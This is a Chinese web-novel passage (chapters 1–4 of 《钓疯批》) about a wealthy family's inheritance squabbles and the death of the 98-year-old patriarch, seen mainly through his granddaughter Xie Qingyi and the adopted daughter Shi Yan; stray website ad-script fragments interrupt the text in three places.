《钓疯批》 1. 第 1 章 秋意渐凉,满园落叶伴上冷风,凭添几分萧瑟。 向来冷清的私家园林,极难得的出现人声嘈杂的景象。 今早,蔫巴巴许久的谢伯儒老先生突然精神许多,饭后竟还有力气招呼上小孙女谢轻意陪他到园子里散步,然后用贼兮兮的语气说出惊人话语:“我觉着,我这像是回光返照,要不,把你那些伯伯姑姑堂兄堂姐们都叫回来,我给他们分点钱?” 谢轻意哼了声,淡声嘲讽:“哟,谁说要当百岁老人来着?” 谢伯儒老先生说:“岁数到了,阎王要收人,我也没法子。” 谢轻意想说:你都在阎罗殿来回蹦达多少回了,坚持坚持,再坚持一年半你就是百岁老人了。 她说不出口,因为她瞧着谢老先生确实有那光景。 九十八岁的老人家,没说缠绵病榻受苦遭罪,今天真要有点什么,那也是喜丧,且生老病死,人之常情,没什么好伤心的,但谢轻意就是心头莫名有点堵。 不过,该来的终会来,该安排的,得安排。 关键吧,谢老先生贼能挣。 他生逢乱世,又遇家道中落,从出身百年望族的富贵少爷,一夜之间成为沦落大街的孤儿,偷、抢、走私香烟枪火药品都干过,又因为路子野、人敢干,还有那么点家国天下的情怀,在国难当头的时候,给前线捐钱送枪偷渡药品粮食被褥物资,后来国家也没忘了他,不仅论功行赏,还把谢家让人占去的祖宅、祠堂都还给了他。 如今,他住的这园子,十个小目标打不住。 谢老先生小时候富过,穷过,也有点穷怕了,一脑门地钻钱眼里,但凡能挣钱的买卖,只要不涉及律法、不触及原则底线,他都能掺一脚从中捞点走,挣下丰厚的身家。 如果他有个三长两短,事先又没把东西分清楚,满堂儿孙能在灵堂打到头破血流,棺材板都能给他掀了。 谢轻意一边陪着谢老先生散步,一边给伯伯姑姑爸妈堂哥堂姐们打电话,确保通知到每一个人,包括施言。 施言是大伯母收养的女儿,随大伯母姓施,但名字上了谢家的祖谱。 提起这事,又是一笔烂账。 大伯母有个亲生儿子,十八岁那年,跑去河里野泳,捞起来的时候,尸体都泡肿发臭了。她悲痛之下,决定再生一个,四十多岁的高龄,跑去国外做试管,结果人渣大伯带着小三私生子上门,生生地把腹中已经成形的女儿闹流产了,并且再难生育。 大伯母那叫一个恨,发誓绝不离婚,不让大伯分走她的财产。 创业资金是公公给的,公司是她经营的,钱是她挣的,人渣老公躺赢,还想拿她的钱给私生子女,让害得她失去女儿的私生子转正成婚生子,再从谢老先生那里又得大笔财产,做梦! 于是大伯母跑了好多家福利院,千挑万选,最终收养了让父母遗弃的施言。 谢老先生知道自己的大儿子不是个东西,不想大儿媳累死累活辛苦大半辈子,最后落得虎狼环伺孤独凄凉收场,便让施言入了谢家祖谱将来给大儿媳养老送终,并决定把早逝大孙子的那份财产留给施言。 施言来谢家的时候,谢轻意还没出生。 三岁的幼儿园小朋友,跟十岁的小学生,玩不到一块儿,且每次见面又都是家里人最多最吵的时候,吵吵嚷嚷的烦都烦死了,谢轻意自是不乐意搭理他们。 之后,施言到读初中时便出了国,直到两年前回国,与大伯一家围绕市值八个亿的上市集团开启财产争夺战。 现年七十六岁的大伯,带着八个正在青壮年的儿女,七个已经成年的孙子孙女,在趁着大伯母病重霸占公司经营了好些年的情况下,打不过一个刚从国外回来才二十多岁的养女,还好意思回来找九十八岁高龄的老父亲当救兵。 谢轻意不想掺合他家那点糟烂事,直接把人打发了。 谢老先生跟她吐槽:生出这么个狗东西玩意儿,真丢人! 谢轻意深有同感,但还是安慰了句:“没事,反正你生得多,有足够的本钱优胜劣汰,那些糟心玩意儿就让他们哪里凉快哪里呆着去。” 于是,爷孙俩一致决定,以后大房的事情找施言。 谢轻意联系完伯伯姑姑父母和堂兄堂姐们,又联系医生、律师,把散完步的谢老先生送回房后,为防止有人趁乱浑水摸鱼,又将管家、保镖们都叫来,安排好看守各处的人手,后院、侧门都封了,只留前院正门进出,把那些无关人员都限制在外。 谢轻意把一切安排好,刚回到爷爷的院子里,隔着一座前院就听到门口传来哭嚎:“爸啊,爸,你怎么不等等我啊——” 大把年纪的大伯,中气十足。 谢老先生的嘴角抽了抽,气哼哼地说:“真想把这狗东西一起带走。” 谢轻意说:“我记得去年家里闹老鼠买的灭鼠药还没用完,要不,您老放茶水里给他灌一碗?父子俩一起走,不算白发人送黑发人,路上还有个伴。” 谢老先生连忙摆手,道:“随口说说,不至于,真不至于。”他又觉自己现在精神头挺好的,又说:“万一我今天没走成,身体又好起来了,岂不尴尬?” 谢轻意说:“你找个由头把他们叫回来分钱,尴尬吗?” 谢老先生说:“倒也是。” 大伯的声音又在前院嚷嚷起来:“都给我让开,我要见老爷子,不要拦着我奔丧——” 奔丧!我这会儿还没死呢!谢老先生对谢轻意说:“要不,还是把灭鼠药找出来吧,路上好作伴。” 谢轻意深知,老先生真要是狠得下这心,哪容得人渣大伯蹦达到现在。她说:“还是别了,您老放过自己吧。” 她蔫蔫地坐在谢老先生旁边,接过管家递过来的茶,坐等他们赶回来,可罕见的,心绪很乱。 她不愿让情绪左右,索性取来围棋跟谢老先生下棋。 前院的嘈杂声越来越多,人声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鼎沸,哭嚷着要见爷爷的声音也越来越多。 谢老先生和谢轻意都由着他们去。 吵过这回后,往后这园子只怕要冷清下来了。 都说老人一走,家就散了。她家差不多也会是这情况。 大伯撑不起来,二伯没出息到哪里去,三姑外嫁不管谢家的事,四姑性子孤僻不爱沾其他家的烂摊子,五伯看谁都不顺眼,特别是对大伯家的那一堆私生子女特别有意见,老先生儿孙众多,大伯出力一大半。六伯和谢轻意的爸爸都在部队,离得天远,更管不了家里。 在大伯他们这一辈挑不出能当大家长掌家的,到谢轻意这一辈,谢轻意对他们的态度就是瞧不上、看不起、莫挨老子、不想理!谢老先生对其他孙辈的态度,跟谢轻意高度一致。 因此,爷孙俩处理态度也非常默契,分钱,散伙。 谢老先生走了几步棋,没忍住,悄咪咪地对谢轻意说:“我给你留了大头。” 谢轻意头都没抬,很是随意地落下一子,说:“你的那点老鼠仓,我比你清楚。” 谢老先生其实很有想法,把那些不争气的玩意儿全踹出去,减负! 爷孙俩下了一局棋,医生和律师团队赶到。 先是医生替谢老先生检查身体,之后又是跟律师团队调整、确认遗嘱内容。 本来这些都是早已经安排好的,但随着时间推移,账户上的钱财、名下的资产多少都有些变动,遗嘱也得跟着变一变,再就是担心会有其它什么情况,再在原来遗嘱的基础上拟一份最新时效的遗嘱,最大限度地避免掉人为操作篡改的可能。 忙完这些,差不多已经快到中午。 若是往天,谢老先生的精神头早撑不住这么折腾歇息去了,今天却极反常的仍旧神采奕奕,扔了平日里代步的轮椅,连拐杖都不拿,自己走路去前院。 谢轻意怕他摔了,跟在旁边掺扶着。 前院里站满了人,闹哄哄的,还有一群几岁大点的孩子在嘻嘻哈哈地追逐打闹,成年人也没好到哪里去,喜气盈盈的,想装都装不住。 院子里的梧桐树下,站着一个非常显眼的女人。 其他人都是扎堆站,人挤人,肩挤肩,聊得好不热闹,那女人则是独自站在梧桐树下看天,跟别人相隔好几米远,一副遭到孤立的模样。 谢轻意从来没见过把风衣穿得比那女人更好看的,挺得笔直的背脊,散在身后的如墨如瀑长发,衬上盈盈一握的纤细腰肢,远远看去又香又软又御。 施言,那个表面温柔的死变态。 院子里的嘈杂声骤然一寂。 施言觉察到异常下意识回头,正好看到谢轻意掺扶着谢老先生出来。 谢轻意面无表情,冰冷漠然的目光从她身上一扫而过,还是小时候那副目中无人谁都莫来挨老子的死样子。她像是自带冰霜BUFF,周围的温度都似随着她的到来而冷了好几度,把吵吵嚷嚷的声音全冻上了。 2. 第 2 章 谢轻意扶着谢老先生来到正堂大门外,生活助理搬来两张椅子摆在屋檐下。爷孙俩落座后,谢轻意朝着旁边的律师微微颔首。 律师拿出谢老先生的第一份遗嘱,当众宣读。 这份遗嘱是给谢家非婚子女的,大伯家是主力,八个子女繁衍出三十多个孙辈,孙辈再生曾孙辈,拢共有七十多个人继承遗产。二伯家有两个非婚子女,又繁衍出五个孙辈,再有结婚后又生曾孙。 名单报完,一句:“每人分得现金五百万,再无其它任何财产”,让向来沉不住气的大伯率先忍不住。他大声叫嚷道:“怎么才每人五百万这么少?” 谢老先生回怼句:“谁叫你跟种猪一样生那么多!” 有人听得直乐,噗哧笑出声,有人沉下脸,满脸怒气。 大伯说:“五百万也太少了。” 谢轻意问道:“三亿八千万,少吗?” 刚才噗哧笑出声的,笑不出来了。 谢轻言放下茶杯,将目光落到自家大伯身上,“这笔钱分散开看起来确实少,要不统一发放到大房的账上,哦,对了,现在大房是施言当家吧?” 进了大房的公账,他们想从大伯母和施言手里抠出这笔钱,做梦去吧。 大伯说:“可以直接打到我的账上。” 谢轻意问:“大伯没睡醒?” 你的儿孙们会同意? 你做什么美梦?三亿多现金在手,就算翻不了盘也能掀起三丈浪,大伯母病重,谢轻意不可能在这时候给她添麻烦。钱散放到每一个人手上化成散沙,到手的钱,他们可不会再吐出来给大伯。 二伯也不乐意,质问道:“大房三个多亿,我们二房才几千万?公平吗?” 谢老先生气乐了,道:“公平?老二,你看看我像不像把天平称,或者你撒泡尿照照镜子看看自己像不像能上称的?” 二伯七十大几的年龄,都是当爷爷的人了,当着一群儿孙的面,让谢老先生怼得脸色铁青,下不来台。 谢轻意的下巴朝旁边的花厅一点,道:“同意的,跟律师去那边签字,钱款直接汇到你们的生活费账户上。不去的,视作自动放弃,大门就在前面,慢走不送。” 她又将目光落到保镖队长身上,说:“五分钟。” 五分钟后,还站在前院的非婚生子女,直接扔到门外去。 保镖队长点头应下。 谢轻意站起身,点了四个保镖跟在身边,又叫几个壮实的堂兄、堂侄,领他们去后院库房,把装有古董文玩等贵重物品的箱子搬到前院。 每个人都能分得一口箱子。 箱子上面有编号,所有人抽签,抽到哪口是哪口,让他们自个儿带回去开盲盒。 分完盲盒,律师给在场的人发遗书。 人多财产多,容易撕起来,为了避免纠纷,每个人的遗书都是单独开的,意思也很明显,各自继承自己的那份,少惦记别人的。 大伯看完自己的遗书,反复确认,问谢老先生:“老宅呢?你不会真的打算留给谢轻意吧?” 在场所有人的目光都落到了谢轻意身上。 二伯也不乐意,叫道:“她一个丫头片子,还是个孙辈,怎么轮得到她?我不同意。” 谢老先生知道他们会为老宅子闹起来,对此毫不意外。他说:“这些年,你们干了多少糟心事,自己心里没数?” 大伯叫道:“好,我要看看我干什么了,连祖宅都不让我继承。” 谢老生先盯着大伯,语气森然:“承安啊,你岳父是为了救我死的,死前把孩子托付给我。你趁着我不在家,连哄带骗把人弄到手,好,如你愿,让你娶了。不出一年,惠惠在家坐月子,你抱回来一个私生子,带回来一个女人,说那才是你的真爱。没过两个月,又带回来一个女人,抱回来一个私生女,也是真爱。后来,玉书在河里不见影,惠惠坐着捞尸船飘在河上找儿子的时候,你在外面跟女人鬼混。她好不容易又要了个女儿,你把外面的女人孩子带回家,把孩子给闹没了。这些年,你还不止一次谋划着要杀妻。你说,你干的这些畜生事,我拿什么老脸去地下见我兄弟,要不要走的时候带你一起下去,给你岳父一个交待?” 他有时候是真想给老大灌一碗老鼠药直接送走算了! 大伯的脸色一凝,梗着脖子,想辩几句,一眼瞥见谢轻意正用冰冷漠然的眼神看着自己,不由得背脊一寒。 老爷子顾念子孙,谢轻意却是个心狠手辣的。 大家都猜测老爷子至少有一百多个亿的家当,都想插手,但这老宅让谢轻意管得滴水不漏,他之前惹毛了她,差点被送进去,至今还有好多把柄在她手上。 大伯想到自己的那些把柄,脸色青青白白的,不说话了。 施言听得谢老先生数起谢承安干的那些事,不由得微微挑眉,心道:“原来你们知道他有多畜生啊。” 她又不动声色地扫了眼谢轻言。如今谢家是谢轻言当家,谢家人做的事,想来她是清楚的。 谢老先生又看向二伯,说:“老二,你的事,要不要我跟你抖落抖落?” 二伯忙说:“不不不,不用了。”老爷子给他擦了多少屁股,心里还是有数的。 可是凭啥啊,一个才二十岁的小丫头,绕过一堆伯伯姑姑堂兄堂姐,继承了老宅。他在心头琢磨,遗嘱已定改不了,找个人跟谢轻意结婚,兴许能下得了手。女人嘛,结婚生下孩子,那就只能由着别人拿捏了。 谢轻意扫了眼二伯闪烁的目光和嘴角的轻微浮动,用膝盖都能猜到他在算计些什么,心说:“挺闲啊。” 决定回头就把他偷税漏税的证据寄到税务局去,给二伯找点事忙。 谢老先生似乏了,面容露出几分倦色,一摆手,说:“我手里的这点东西就这么分,拿着你们手里的遗书,带上你们的盲盒,滚吧!” 大伯连终都不想给他送了,扭头就走。可他的古董还在呢,又到门口叫来等在外面的私生子,搬箱子。 谢轻意对大伯的蠢笨深深无语。 施言瞧着这一家子如同一群野狗抢食的景象,神情不显,眼里有着浓浓的嘲讽。 谢老先生慢腾腾地从椅子上起身。 谢轻意忙跟着起身,扶稳了他,顺便打量了两眼老先生的神色,还成,没被气到。 …… 谢老先生回房后,翻出自己泛黄的结婚照。 照片上年轻的自己年轻又帅气,俊极了。 妻子那时候才十九岁,如花一样的年龄,温婉无比,说话时嘴角总噙着笑,眼神柔得像春水,看得他的心都化了。那时候就想,要一辈子照顾她,让她过富贵日子,跟她生一堆儿女 ,到老了,子孙满堂热热闹闹的,他们老两口就笑呵呵地看着孩子们打闹。 如果不是养出老大这么个畜生孽障,一切还是很美好的。 谢老先生盯着照片上的妻子看了半天,又扭头看向谢轻意,笑盈盈地说:“你奶奶比你好看。” 谢轻意长得像奶奶,脾气性子像爷爷。 谢轻意觉得自己是最好看的,但对于爷爷认为奶奶最好看表示理解。 她陪了一会儿谢老先生后,将他交给医生照看,自己起身去往前院。 前院的人少了一大半,大伯、二伯都没见了影子,三姑、三姑父、四姑和五伯、五婶都还在,堂哥堂姐们,以及已经立事的侄子侄女们大多也没走。 施言站在院子里的大鱼缸前,从看天变成看鱼。 大家不爱搅和到老大家的那滩子浑水中去,对这个不姓谢的谢家养女,态度就是不招惹不理会,懒得管。 谢轻意没进正堂,站在屋檐下,叫来保镖队长,撤了院子里的门禁。 坐在正堂聊天说话的伯父姑姑们抬眼看着谢轻意,有点看她不顺眼。 老爷子偏心吗?偏心! 可摸着良心说,老爷子这么大岁数还能保住这些财产,没让他们兄弟姐妹走到争家财闹到不可调和的地步,谢轻意功不可没。知道老爷子会另外给谢轻意再留一份,但留了哪些东西,只有他们爷孙俩自己知道,想也没用。可要说甘心吗?不甘心。 他们看到谢轻意就有点别扭,又没到撕破脸跟人为难的份上。 谢轻意朝站在院子里的施言喊了句:“施言,进来。”转身回正堂,直接坐到主位上。 三姑姑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的眉头一挑,喝斥道:“一屋子长辈在这里坐着,你坐哪呢?” 施言跟在谢轻意身后进屋就遇到这一出,转身就坐到了最靠后的位置上。 谢轻意的下巴往最靠前的位置上一点,道:“施言,你坐这。” 施言心说:你们斗你们的,别带我。我看戏。 谢轻意又说:“大房现在是你当家。” 施言立即起身,挪到了靠前的位置。 她又忍不住盯着谢轻意打量,特别好奇她是怎么长的,才二十啊,能稳稳地压住这一家子牛鬼蛇神。 二伯不在,但他的二女儿谢玉君在,就在堂上后排坐着。 谢轻意让谢玉君坐到二伯的位置上。 如此安排,虽然没明说,态度非常明显,这不是按照辈份排位置,而是各房的顺序排的。谢轻意坐在主位上,那是她代老爷子安排事情。 谢轻意说:“爷爷的情况不太好,具体什么时候,医生也说不准。有可能能再撑几个小时,也有可能再撑几天,但事情得先张罗起来。有伯伯姑姑们都在,没道理让我一个小辈出来操持丧事,那样大家脸上都不好看。趁着没外人,先把情况跟大家说一说,分分工。” 操办丧事有固定流程,陵园墓地、老衣、棺材等早就定好了,但他们常年不在,不了解情况,谢轻意便把哪些事情已经定好,哪些事情需要现在去操办,跟他们一一敲定好。 谢轻意知道大伯有多浑,二伯也不太靠谱,于是又说道:“本该由大伯来端灵,但他向来妖蛾子多,如果出了状况,端灵的事,按照顺位往下沿。” 三姑一听,端灵的事居然可能落到自己头上,忙说:“我担心大哥会大闹灵堂。” 谢轻意淡淡地说了句:“那大伯母大概能遂愿了。” 众所周知,施惠心最大的心愿就是让谢承安去死,且是不得好死。 正堂里的几人闻言皆是心头一跳,又下意识看向施言,只见她的眼神意味不明,不知道在想些什么。 老五也烦老大及其生出来的那帮子玩意儿总是惹事,没少连累到他,但一家亲兄弟,不至于真想要老大出点什么事。 可老大谋划杀妻都不是一回两回,还有半夜带人翻墙进来偷古董居然把老爷子给推到池塘里,甚至还谋划过绑架谢轻意,一桩桩一件件的,真不是个东西。那些事留下的证据,如今全在谢轻意手里。 这里面全是糊涂烂账事,众人心思各异,但谁都没接话。 …… 午饭过后,谢老先生的精神一下子萎靡下去,躺在床上起不了身,满屋子的儿孙都挤到了床前。 谢轻意退到屋外,站到走廊下。 还有一个人也在走廊下站着,施言。 施言代表大房留在这里的,但她不是谢家血脉,被谢家人排斥在外。 她与大伯母在谢家就像是墙角砖缝里的野草,让人践踏又倔强地努力扎根生长,带着满腔的恨意,时刻准备着报复。 爷爷并不愿大伯母把一辈子都耗在一个人渣身上,劝过她离婚,再嫁也好,守着施言过自己的小日子也成,可大伯母恨毒了大伯,她说她身在地狱,也要让谢承安下地狱。 施言是大伯母的复仇工具,也是大伯母仅有的依靠。大伯母给予她无限宠爱,寄予无限希望,也灌注了无限仇恨,给她锦衣玉食的生活,又让她在谢家尝尽冷眼。 因此,谢轻意对于眼线汇报的事情,偷拍回来的视频和照片,想说不意外,理解……呃……就是尺度有点大,有点呃……呃,谁还没个两幅面孔来着。 谢轻意扫了眼施言,委实很难把视频里和站在跟前的施言联系到一块儿。不过,别人的事……跟她没关系。 她赶走脑子里的那些不和谐画面,想到谢老先生的情况,心头又罩上层阴霾,再没心情站在屋檐下去琢磨别人的事,只要施言不在这期间在她家杀人放火,她都懒得搭理。 谢轻意这么想着,转身离开,忙事情去了。 施言扭头盯着谢轻意离开的背影,想到她刚才看来的眼神,以及突然浑身直冒寒气的模样,心说:谢轻意不会是怀疑我要在这时候搞事吧? 她倒是想! 3. 第 3 章 下午,谢老先生的情况愈发不好,身体各项指标急转直下。 虽然他什么都没说,但一直强撑着不让自己睡过去,不时扭头看一眼围在身旁的人,又看向窗外。 谢轻意知道他是在等六伯和谢七先生。六伯安排工作上的事耽搁了点时间,大概要到晚上才到。 下午快到五点的时候,谢七先生终于赶回来了。 谢轻意站在卧室门口,瞧见迈开大步飞奔进来的中年汉子,极其陌生。苦寒之地,风吹日晒紫外线还强,晒得那脸黑里透着红,皮肤糙得没眼看。 大概是出发得匆忙,衣服都没来得及换,只把外套脱了换成常服,衬衫、裤子还是部队的制式衣服。 谢七先生直奔床前,俯身看向躺在床上的谢老先生,喊了声:“爸。” 谢先老生的视线落在谢七的脸上定了定,又扭头看向床边,似在找人。 谢七先生忙说:“六哥和文兰还在路上。” 谢老先生又努力睁了睁眼,继续找人。 谢轻意上前,蹲在床边,喊了声:“爷爷。”她伸手握住谢老先生的手。 谢老先生紧紧地回握住她的手,力气之大,握得谢轻意的手有点疼。他的呼吸变得急促,艰难地喊了声:“承佑。” 谢七先生连声应道:“爸,我在。” 谢老先生吃力地说:“多疼疼轻意……” 多疼疼轻意?被挤到角落的施言听到这话极其诧异:谢老先生等到现在,不是在等儿子,而是放心不下小孙女? 多疼疼……谢轻意的父亲不疼她吗?或者说是感情不好? 施言下意识去瞧谢轻意的反应,向来冷漠目空一切鲜少情绪外露的人,这会儿竟是悲伤溢于言表。她心说:“原来你也不全然是冷心冷肺啊。” 谢轻意觉得自己本来情绪还是很稳定的,听到这话一下子有点绷不住,喉咙哽咽住,说出的话都带了些沙哑:“别担心我。” 谢老先生抓紧谢七先生的手,目光紧紧地盯着他,仍不放心:“轻意……” 谢七先生连连点头,连声保证:“你放心吧,爸,你放心……” 谢老先生的呼吸越来越缓,没多久就似睡沉了般没了动静,旁边一直发出警报声的监护仪也变成了平线。 谢轻意只觉脑子嗡了声,有着瞬间空白,直到床边满屋子的人哭出声乌泱泱地跪了一地,谢七先生更是嗷地一声跪地趴在床边嚎啕恸哭,才回过神来。 她觉得这人挺有意思。 啧,平时不见尽孝,这会儿倒是哭得真伤心。 谢七先生一年里只有放探亲假的时候回来,回来也只在家待一两天,在家就是看她不顺眼,横挑鼻子竖挑眼,就好像常年不闻不问,然后突然间爹味十足地说教一通,就能让自己变成合格的好父亲,让她从别人口中的差评变成好评,也不管内里到底是个什么情况。 谢轻意满脸嘲讽,便要起身出去,手仍让老先生紧紧地握住。 她的心像被扎了下,疼。 谢轻意放弃出去的打算,任由老先生握紧她的手,然后便觉察到本就不暖和的手,在一点点变凉。 走了啊。 八年前,奶奶走了。 今天,爷爷也走了。 以后就她一个人了。 七十多岁的大伯健步如飞,飞奔而来,挤开跪地的人群,扑到床边,哭嚎:“爸,你怎么就走了啊,你怎么不等我……” 去拉谢老先生的手,发现爷孙俩还拽着,用力给他俩掰开,换成他握着,然后继续哭嚎:“爸啊,你怎么就走了啊,你走了我还不得被你那没人性的小孙女欺负死啊——” 谢轻意差点抓起床头的台灯给大伯的脑袋当场开瓢。 大伯又拽住谢七先生的手,声泪俱下:“老七,你管管你女儿吧,她就差要杀人放火了。”伤心得真心实意。 他是长子,谢家的财产大头应该是他的才是,结果,都给了谢轻意。他回自己家搬点东西怎么了?让谢轻意叫保镖按住打了顿不算完,还要以盗窍罪给他送进去。施惠心的事,她插手了一回又一回,导致他连连失手,落了一堆能要他老命的把柄在她手里。 老先生尸骨未寒,不适合动手。她忍!谢轻意转身出了屋子。 那满身凛冽的气息似置身于暴风雪的寒冬。 屋子里的人哭了一阵子,都已经渐渐收了哭声,待看到赶来的大伯来这么一出,所有人都默默地看着他表演,也下意识去看谢轻意的反应,可瞧见的只有谢轻意离开的背影。 施言的目光在谢承安和谢承佑身上来回,心下了然:想挑拨离间啊。 这一家子可真热闹。 施言跟在谢轻意的身后出去,本想安慰几句,哪想到谢轻意已经跟没事人一样,去叫来料理后事的人,让他们谢老先生擦洗身子更换寿衣整理仪容。 屋子里的人都退到了院子里,只剩下大伯、五伯以及谢七先生跟几个从殡仪馆请来的工作人员在里面。 谢轻意站在屋檐下,面无表情地看着天,不知道在想什么。 施言走到她身边,说了句:“节哀。” 谢轻意扭头,淡淡地扫了眼施言,又回头看天。 施言习惯了她不理人的样子,也不在意。 谢轻意又出乎施言意料地回了句:“没什么好哀的。”人一走,就什么都不知道了。哀伤悲痛没有任何意义。 换完老衣,装棺,设灵堂,挂白幡,谢家上上下下都忙了起来。 谢六先生是晚饭后赶到的,谢轻意的母亲文兰是夜里九点多到的。 施言特别留意了下,谢轻意在灵堂见到谢家老六谢承运时,很是平淡地喊了声:“六伯”,对着自家母亲则是极冷淡地点点头,便继续关注于正在进行的道场仪式,连个眼神都没再给,母女俩疏离得像是陌生人。 道场结束,文兰去到谢轻意跟前,问:“还好吗?” 谢轻意“嗯”了声,说道:“今晚大伯和二伯守灵。你们的房间已经收拾妥当,早点休息。” 大伯嘿地一声,阴阳怪气地说:“一年到头都不在家,连灵都不守,让我一个七十多岁的老人家来守,都是一个爹妈生的,连守灵都要厚此薄彼。” 谢轻意冷眼扫过去:“停灵三天,连做三天道场,大伯要是连续熬得住三个通宵,您尽管在灵前尽孝,我不拦着。” 文兰轻斥道:“怎么跟你大伯说话呢,没大没小的。” 谢轻意的眼神更冷,脸上倒是没什么情绪外露:“三天守灵,第一天是大伯二伯,第二天是三姑、四姑、五伯,第三天是六伯和谢七先生,年龄大撑不住的,自己找儿孙顶替。不过,不是什么阿猫阿狗都配给爷爷守灵,非婚的那些就别拉出来丢人现眼了。” 她大伯底下,除了一个领养的,全是非婚的,没有人能来顶替。 大伯满脸悲愤地向文兰痛诉:“你瞧瞧,这还当着老爷子的面呢,就挤兑我。” 谢轻意对他这些戏码看了十几年了,懒得搭理他,回头对施言说:“你的房间已经安排好了,今晚留下。要是大房有什么事,废物点心顶不上用,会叫你。” 她用废物点心称呼自家亲大伯,让文兰的额头都跳了跳。可这会儿,人多,又是这么个时候,文兰不好训女儿,没好气地瞪了她一眼,暂且揭过。 施言看戏,面色不显,“哦”了声,很是乖巧地应下。 谢七先生的目光在谢轻意和自家大哥之间来回,对谢轻意说:“一家子长辈在这里,哪轮得到你指手划脚的。大哥这边,我顶一晚,让施言回去睡吧。” 谢轻意不冷不热地嘲讽句:“谢七先生高义。” 由此可见,当初大伯绑架她的事,没在谢七先生心里留下任何芥蒂,兄弟俩依然能好好相处。 她看着这一家子人就烦,头也不回地出了灵堂。 施言寻了个无人的僻静处,给母亲打电话,告诉她自己要守灵,让她不要等自己。 施惠心可是知道谢家那伙人的德性,问:“怎么会要你守灵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 施言说:“谢轻意安排的。” 施惠心便明白了。 谢轻意是横竖瞧不上谢承安那头畜生的,经过绑架那回后,更是差点整死谢承安,后来还是谢家那几个一起出来保大哥,又有老七打电话回来,问她:“你是不是要你爷爷白发人送黑发人?”谢轻意才收了手,没再继续把谢承安往死里整,但哪哪都不待见,一有机会就连削带打。 施惠心“嗯”了声,细声叮嘱:“轻意让你守,你就守吧,找时间眯会儿,别扛着不睡。” 施言看了眼四周没人,问:“轻意跟她父母感情不好吗?老爷子过世的时候,一直抓着她的手不放……” 她将下午谢七回来时的那一幕告诉施惠心。 施惠心沉默几秒,才说:“以前的人兄弟姐妹多,都是大的带小的,你爷爷那会儿有一大家子要养活,东奔西走的,顾不上家里。谢家的几个都是跟在谢承安那畜生屁股后长大的。那畜生年轻时长得人模狗样,管着谢家的钱财,出手阔绰,对弟弟妹妹几乎是有求必应,又喜欢玩时新的东西,哄起来人一套又一套,几个弟弟妹妹对他喜欢得不得了。” 施言心说:“真没看出来。”她现在看谢承安就是一副老无赖模样。 施惠心又说:“老七常年不在家,轻意跟他父女情分淡。她跟谢承安起冲突,论起亲疏熟悉程度,老七自然更偏向从小带大自己的亲哥哥。” 施言明白了,说:“难怪他们父女相处是这么个态度。” 施惠心又提了句:“虽说这些年他们兄弟姐妹的关系淡了很多,往来少了,却也没什么大的矛盾,那畜生每次真遇到事的时候,他们几个都会管的。那畜生一贯会装会演,人面也广,愿意信他帮他的人不少。” 也就是遇到谢轻意从谢家内部借了老爷子的力给他捅刀子,他才栽了个大跟斗,关键时候,不也让人保住了。 谢轻意能在老爷子那得势挤兑谢承安,也是因为模样性情手段能力样样都长在了老爷子心坎上,又是文兰放完产假就抱到跟前手把手带大的,那情分,谢承安那畜生都比不了。 她倒是有点遗憾谢老爷子没把老宅留给谢承安,上演不了谢承安把谢轻意赶出去的戏码彻底激怒谢轻意,要不然,她可以拾缀拾缀出院给谢承安收尸了。 施惠心没说别的,反正这几天施言都会在谢家待着,看一看,就什么都明白了。 施言挂了电话,出了凉亭,绕过灌木,便见到小路边摆放的大青石上坐着谢轻意。她扭头看了眼凉亭到这里的距离,“呃”了声,有点尴尬。 谢轻意淡淡地扫了眼施言,便将目光落回到池塘水面。她想起网上的一个段子:钓鱼佬遇到抛尸人。 前院这一片,就这池塘边最清静。一个出来躲清静,一个出来偷偷打电话打听八卦,凑一块儿了。 施言犹豫了一下,大青石够大,坐得下两个人。她在谢轻意身旁坐下,柔声问:“要不要我把肩膀借给你靠靠?” 谢轻意不想说话,也不愿别人离她这么近,于是抬指戳在施言的肩膀上推了推:离我远点。 施言的视线落在谢轻意的落在肩膀上的手上,细腻柔软,美得毫无瑕疵。不知道握在手里捏起来会是怎样的手感,稍微用力会不会就捏疼了? 鬼使神差的,她捏住谢轻意落在肩膀上的手,在谢轻意挑眉露出不悦神态时,将手挪开,抢先反客为主:“别戳我肩膀,不礼貌。” 真是柔若无骨的触感。 施言忽然发现,这大冰块常年冷冰冰的气场之下,似乎长了个江南温婉美人的模样?如果忽略她的冷冽气息,那眉眼五官骨相甚至连一头柔顺的长发都处处都有一种烟雨风情,不过,她的气质跟温婉是半点都不沾边,倒是挺称今晚的皎皎月色和天气,冷幽幽的,带着沁入肺腑的凉意。 谢轻意从施言的眼神和状似随意的动作一眼看出端倪,以警告的眼神冷冷地扫她一眼,起身走了。 她在心里暗骂:这打入敌营的狗奸细贼胆包天! 4. 第 4 章 谢轻意沿着池塘边的景观小道缓步穿过幽静的园林,来到后院。 后院厨房、保镖居住的院子、值班的院子全都灯火通明。 谢轻意去到保镖值班室,先检查了院子里的监控设备,确保全部完好,没有监控死角,画面和声音都清清楚楚,再就是给保镖开了个小会,分配好任务,让他们看好各处,以防有人趁机作妖。 之后,她回到书房,通过加密渠道联系眼线,让他们盯紧了几个伯父姑姑,特别是大伯和二伯。 爷爷挺传统的,原本定的是留长子在身边继承家业,财产拿大头。只不过大伯干的那一桩桩事让爷爷瞧不上,再加上大伯的年岁太大已经过了能打拼的年龄,且大堂哥淹死在河里后,大伯家的下一代没有能拿得出手的,爷爷就不再考虑大伯,改成培养她。 她年龄小,不服众,叫伯伯姑姑和堂哥堂姐们都很看不习惯,跟大伯更是针尖对麦芒,斗得死去活来。 她戴上耳机,点开眼线下午发过来的音频文件、照片和视频,了解他们的最新动向。 大伯、二伯都挺忙的。 大伯还在催底下的人调查她到底从爷爷这里继承了多少财产,以及平时干的那些事到底有没有留尾巴,能不能揪得着,说什么“我就不信,她干的那些事都能见光。” 确实有不能见光的。例如她常年派人跟踪监听收集他们各方面的信息,侵犯人隐私呢。不过,他们也没少派人跟踪她,还搞过绑架、做局下套,大家礼尚往来,彼此彼此。 二伯挺热心啊,居然操心她二十岁,该交男朋友了,张罗着给她找对象。 三姑吐槽了她一回后,盲盒开到奶奶的遗物,又感慨了一回。 